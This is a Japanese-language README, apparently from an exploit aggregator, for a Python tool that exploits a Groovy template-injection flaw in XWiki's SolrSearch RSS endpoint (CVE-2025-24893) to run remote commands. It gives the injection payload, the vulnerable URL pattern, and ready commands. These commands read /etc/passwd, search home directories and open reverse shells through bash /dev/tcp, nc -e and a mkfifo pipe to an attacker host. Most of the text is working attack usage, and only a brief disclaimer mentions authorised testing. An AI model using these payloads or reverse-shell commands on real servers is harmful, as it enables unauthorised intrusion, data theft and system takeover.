## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GOTR00T0DAY-CVE-2025-24893
# XWiki SSTI エクスプロイト
SolrSearch エンドポイントの Groovy テンプレートインジェクションを介して、XWiki Server-Side Template Injection (SSTI) の脆弱性を悪用する Python エクスプロイトです。
## 脆弱性
* **タイプ** : サーバーサイドテンプレートインジェクション (SSTI)
* **コンポーネント** : XWiki SolrSearch RSS フィード
* **影響** : リモートコード実行
* **影響を受けるバージョン** : XWiki 15.10.8 (およびその他の可能性あり)
## 要件
root@kitploit:~
pip3 install requests beautifulsoup4
## 使用方法
### 脆弱性のテスト
root@kitploit:~
./xwiki_exploit.py -u http://target --test
### 単一コマンドの実行
root@kitploit:~
./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"
### インタラクティブシェル
root@kitploit:~
./xwiki_exploit.py -u http://target.com
これにより、コマンドを実行できるインタラクティブな疑似シェルが提供されます。
root@kitploit:~
xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit
### デバッグモード
root@kitploit:~
./xwiki_exploit.py -u http://target.com -c "id" --debug
### コマンドラインオプション
* `-u, --url URL`: 対象URL (必須)
* `-c, --command CMD`: 単一コマンドを実行
* `--test`: 対象が脆弱かどうかをテスト
* `--no-verify-ssl`: SSL証明書の検証を無効化
* `--debug`: デバッグ出力を有効化
## 使用例
**情報収集:**
root@kitploit:~
./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"
**注目すべきファイルの検索:**
root@kitploit:~
./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"
**ネットワーク情報:**
root@kitploit:~
./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"
**リバースシェルの確立:**
root@kitploit:~
# On attacker machine, start listener:
nc -lvnp 1337
# From exploit (try different methods):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"
## 技術的詳細
### ペイロード構造
このエクスプロイトは、次の SSTI ペイロード構造を使用します。
root@kitploit:~
}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}
### 悪用の流れ
1. ペイロードは URL エンコードされ、脆弱なエンドポイントに送信されます。
root@kitploit:~
/xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
2. サーバーは Groovy テンプレートを処理し、コマンドを実行します。
3. 出力は RSS フィードのレスポンスから次の形式で取得されます。
root@kitploit:~
search on [}}OUTPUT]
4. エクスプロイトは HTML レスポンスを解析してコマンド出力を抽出します。
## 注意事項
* コマンドは `xwiki` ユーザー (uid=997) として実行されます。
* 作業ディレクトリは `/usr/lib/xwiki-jetty` です。
* 一部のコマンドは、失敗した場合やバックグラウンドで実行された場合に出力を生成しないことがあります。
* 複雑なコマンドには、シェルスクリプトまたは base64 エンコーディングの使用を検討してください。
## 免責事項
このツールは、教育および許可されたペネトレーションテストの目的にのみ使用してください。テストする許可を得たシステムでのみ使用してください。